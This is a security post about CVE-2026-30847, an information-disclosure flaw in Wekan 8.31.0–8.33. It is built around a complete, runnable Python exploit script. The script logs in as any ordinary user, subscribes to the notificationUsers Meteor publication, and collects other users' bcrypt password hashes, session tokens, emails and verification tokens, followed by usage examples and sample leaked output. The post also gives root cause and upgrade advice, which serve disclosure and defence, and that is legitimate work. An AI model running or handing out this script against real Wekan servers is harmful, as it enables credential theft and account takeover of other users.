Wekan 8.31.0 – 8.33 Meteor DDP notificationUsers Sensitive Data Exposure (CVE-2026-30847)
This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.
Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.
Disclosure status: Limited Disclosure
CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.
Content
Wekan Sensitive Data Exposure via Meteor DDP
CVE-2026-30847
A vulnerability in Wekan versions 8.31.0 to 8.33 allows any authenticated user to retrieve sensitive user information through the Meteor DDP publication notificationUsers.
Due to missing authorization checks and improper field projection, full user documents may be exposed to any logged-in user.
Vulnerability Details
| Field | Value |
|---|---|
| CVE | CVE-2026-30847 |
| Severity | High |
| CVSS | 7.5 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| Affected Versions | 8.31.0 – 8.33 |
| Fixed Version | 8.34 |
| Platform | Linux / Docker |
| Category | Information Disclosure |
Root Cause
The Meteor publication notificationUsers exposes user documents without proper filtering or authorization.
When an authenticated user subscribes to this publication, they may receive:
- bcrypt password hashes
- active login session tokens
- email addresses
- verification tokens
- additional service metadata
This occurs because the publication does not limit returned fields and does not verify access permissions.
Impact
An attacker with any valid account can retrieve sensitive data belonging to other users.
Possible consequences include:
- Password hash cracking
- Session hijacking using leaked tokens
- Account takeover
- Privacy violations
Proof of Concept
The following Python script demonstrates the issue by connecting to the Meteor DDP websocket and subscribing to the vulnerable publication.
Requirements
Install the required dependency:
pip install meteor-ddp-client
````
---
## Exploit Script
```python
#!/usr/bin/env python3
# Exploit Title: Wekan 8.31.0 - 8.33Meteor DDP notificationUsers Sensitive Data Leak
# CVE: CVE-2026-30847
# Date: 2026-03-08
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://wekan.github.io
# Software Link: https://github.com/wekan/wekan
# Affected: Wekan 8.31.0 - 8.33
# Tested on: Wekan 8.32 (Docker)
# Category: Webapps
# Platform: Linux / Docker
# Exploit Type: Remote
# CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
# Description: Any authenticated user can subscribe to the Meteor publication "notificationUsers" and receive full user documents including bcrypt password hashes, active session login tokens, email addresses, and other sensitive service data due to missing field projection and authorization checks.
# Fixed in: Wekan v8.34 (commit 1c8667eae8b28739e43569b612ffdb2693c6b1ce)
# Usage:
# python3 exploit.py https://wekan.example.com username password
#
# Examples:
# python3 exploit.py https://wekan.company.com user@company.com P@ssw0rd123
#
# Options:
# --help Show this help message and exit
#
# Notes:
# • Requires valid credentials of any regular user (admin not required)
# • Leaked data includes password hashes and active session tokens → possible account takeover
#
# How to Use
#
# Step 1:
# Install required package:
# pip install meteor-ddp-client
#
# Step 2:
# Run the exploit with target URL and credentials:
# python3 exploit.py https://target-wekan.com username password
import sys
import json
import time
from meteor_ddp_client import MeteorClient
import argparse
def on_connected():
print("[+] Connected to DDP server")
def on_failure(err):
print(f"[-] Connection failed: {err}")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(description="CVE-2026-30847 PoC - Wekan user data leak")
parser.add_argument("url", help="Wekan base URL (e.g. https://wekan.example.com)")
parser.add_argument("username", help="Valid username or email")
parser.add_argument("password", help="Password")
args = parser.parse_args()
base_url = args.url.rstrip('/')
ddp_url = base_url.replace("http://", "ws://").replace("https://", "wss://") + "/websocket"
print(f"[*] Targeting: {base_url}")
print(f"[*] DDP endpoint: {ddp_url}")
client = MeteorClient(ddp_url)
client.on('connected', on_connected)
client.on('failed', on_failure)
print("[*] Connecting...")
client.connect()
time.sleep(1.5)
print("[*] Logging in...")
try:
client.login_with_password(args.username, args.password)
print("[+] Login successful")
except Exception as e:
print(f"[-] Login failed: {e}")
client.close()
sys.exit(1)
time.sleep(1)
print("[*] Subscribing to notificationUsers...")
sub_id = client.subscribe("notificationUsers", [])
time.sleep(3)
print("\n[+] Collecting leaked user documents...\n")
leaked_users = []
if "users" in client.collections:
users_coll = client.collections["users"]
for uid, doc in users_coll.items():
if uid == client.user_id:
continue
leaked = {
"_id": uid,
"username": doc.get("username"),
"emails": doc.get("emails", []),
"profile": doc.get("profile", {}),
}
services = doc.get("services", {})
if services:
leaked["services"] = {}
if "password" in services and "bcrypt" in services["password"]:
leaked["services"]["password_hash"] = services["password"]["bcrypt"]
if "resume" in services and "loginTokens" in services["resume"]:
leaked["services"]["session_tokens"] = [
{"hashedToken": t.get("hashedToken"), "when": t.get("when")}
for t in services["resume"]["loginTokens"]
]
if "email" in services and "verificationTokens" in services["email"]:
leaked["services"]["verification_tokens"] = services["email"]["verificationTokens"]
for key in services:
if key not in ["password", "resume", "email"]:
leaked["services"][key] = services[key]
leaked_users.append(leaked)
if not leaked_users:
print("[-] No other users leaked")
else:
print(f"[+] Found {len(leaked_users)} leaked user(s):\n")
for user in leaked_users:
print(json.dumps(user, indent=2, default=str))
print("-" * 60)
print("\n[*] Cleaning up...")
client.unsubscribe(sub_id)
client.logout()
client.close()
if leaked_users:
print("[!] VULNERABLE: Sensitive data was exposed")
else:
print("[?] No sensitive data captured")
if __name__ == "__main__":
main()
Example Usage
python3 exploit.py https://wekan.example.com username password
Example:
python3 exploit.py https://wekan.company.com user@company.com P@ssw0rd123
Example Attack Flow
- Attacker logs in with any valid user account
- Connects to the Meteor DDP websocket
- Subscribes to the publication:
notificationUsers
- The server returns user documents containing sensitive data.
Example Leaked Data
Example leaked user document:
{
"_id": "userID",
"username": "admin",
"emails": [
{
"address": "admin@example.com"
}
],
"services": {
"password_hash": "$2a$10$....",
"session_tokens": [
{
"hashedToken": "xxxxx",
"when": "2026-03-01T12:00:00"
}
]
}
}
Mitigation
Users should upgrade immediately to:
Wekan >= 8.34
The patch removes the exposure by restricting fields returned from the notificationUsers publication.
Developers should ensure:
- Proper authorization checks
- Secure field projections
- Avoid exposing sensitive fields in Meteor publications
References
Author
Mohammed Idrees Banyamer
Jordan
Instagram: @banyamer_security
GitHub: https://github.com/mbanyamer
Disclosure: Limited Disclosure
Comments
No comments yet. Be the first.
Leave a Comment